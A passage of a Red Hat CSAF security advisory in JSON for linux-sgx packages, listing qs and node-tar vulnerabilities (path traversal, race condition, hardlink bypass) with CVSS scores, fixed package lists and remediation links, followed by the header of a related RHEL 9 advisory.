"AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src",
"AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "qs: qs: Denial of Service via improper input validation in array parsing"
},
{
"cve": "CVE-2026-23745",
"cwe": {
"id": "CWE-22",
"name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
},
"discovery_date": "2026-01-16T23:01:26.508727+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2430538"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in the node-tar library. This vulnerability allows an attacker to craft malicious archives that, when extracted, can bypass intended security restrictions. This leads to arbitrary file overwrite and symlink poisoning, potentially allowing unauthorized modification of files on the system.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This vulnerability is rated Important for Red Hat products that utilize the node-tar library. The flaw allows an attacker to perform arbitrary file overwrite and symlink poisoning by crafting malicious tar archives. This occurs due to insufficient path sanitization of hardlink and symbolic link entries, even when the default secure behavior (preservePaths is false) is enabled.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src",
"AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-23745"
},
{
"category": "external",
"summary": "RHBZ#2430538",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430538"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-23745",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-23745"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-23745",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23745"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e",
"url": "https://github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97"
}
],
"release_date": "2026-01-16T22:00:08.769000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-19T09:16:01+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src",
"AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:18480"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src",
"AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src",
"AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives"
},
{
"cve": "CVE-2026-23950",
"cwe": {
"id": "CWE-367",
"name": "Time-of-check Time-of-use (TOCTOU) Race Condition"
},
"discovery_date": "2026-01-20T02:00:55.870044+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2431036"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in node-tar, a library for Node.js. This race condition vulnerability occurs due to incomplete handling of Unicode path collisions within the `path-reservations` system on case-insensitive filesystems, such as macOS APFS. A remote attacker can exploit this by providing a specially crafted tar archive containing filenames that cause these collisions, bypassing internal concurrency safeguards. Successful exploitation can lead to arbitrary file overwrite.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This vulnerability is rated Important for Red Hat products. The `node-tar` library is susceptible to a race condition due to incomplete handling of Unicode path collisions, which can lead to arbitrary file overwrites via symlink poisoning. However, this issue primarily affects case-insensitive or normalization-insensitive filesystems. Red Hat Enterprise Linux and other Red Hat products typically utilize case-sensitive filesystems, which may limit the direct impact of this flaw in default configurations.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src",
"AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-23950"
},
{
"category": "external",
"summary": "RHBZ#2431036",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2431036"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-23950",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-23950"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-23950",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23950"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6",
"url": "https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w"
}
],
"release_date": "2026-01-20T00:40:48.510000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-19T09:16:01+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src",
"AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:18480"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src",
"AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L",
"version": "3.1"
},
"products": [
"AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src",
"AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition"
},
{
"cve": "CVE-2026-24842",
"cwe": {
"id": "CWE-59",
"name": "Improper Link Resolution Before File Access (\u0027Link Following\u0027)"
},
"discovery_date": "2026-01-28T01:01:16.886629+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2433645"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in node-tar, a Node.js module for handling TAR archives. This vulnerability allows a remote attacker to bypass path traversal protections by crafting a malicious TAR archive. The security check for hardlink entries uses different path resolution logic than the actual hardlink creation, enabling the attacker to create hardlinks to arbitrary files outside the intended extraction directory. This could lead to unauthorized information disclosure or further system compromise.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an IMPORTANT vulnerability in node-tar, a Node.js module for handling TAR archives. The flaw allows an attacker to bypass path traversal protections by crafting a malicious TAR archive. This could lead to the creation of hardlinks to arbitrary files outside the intended extraction directory, potentially resulting in unauthorized information disclosure or further system compromise in affected Red Hat products utilizing node-tar for archive processing.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src",
"AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-24842"
},
{
"category": "external",
"summary": "RHBZ#2433645",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2433645"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-24842",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24842"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-24842",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24842"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46",
"url": "https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v"
}
],
"release_date": "2026-01-28T00:20:13.261000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-19T09:16:01+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src",
"AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:18480"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src",
"AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src",
"AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check"
}
]
}
RHSA-2026:18868
Vulnerability from csaf_redhat - Published: 2026-05-19 13:54 - Updated: 2026-07-22 15:08Summary
Red Hat Security Advisory: linux-sgx security update
Severity
Important
Notes
Topic: An update for linux-sgx is now available for Red Hat Enterprise Linux 9.
Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
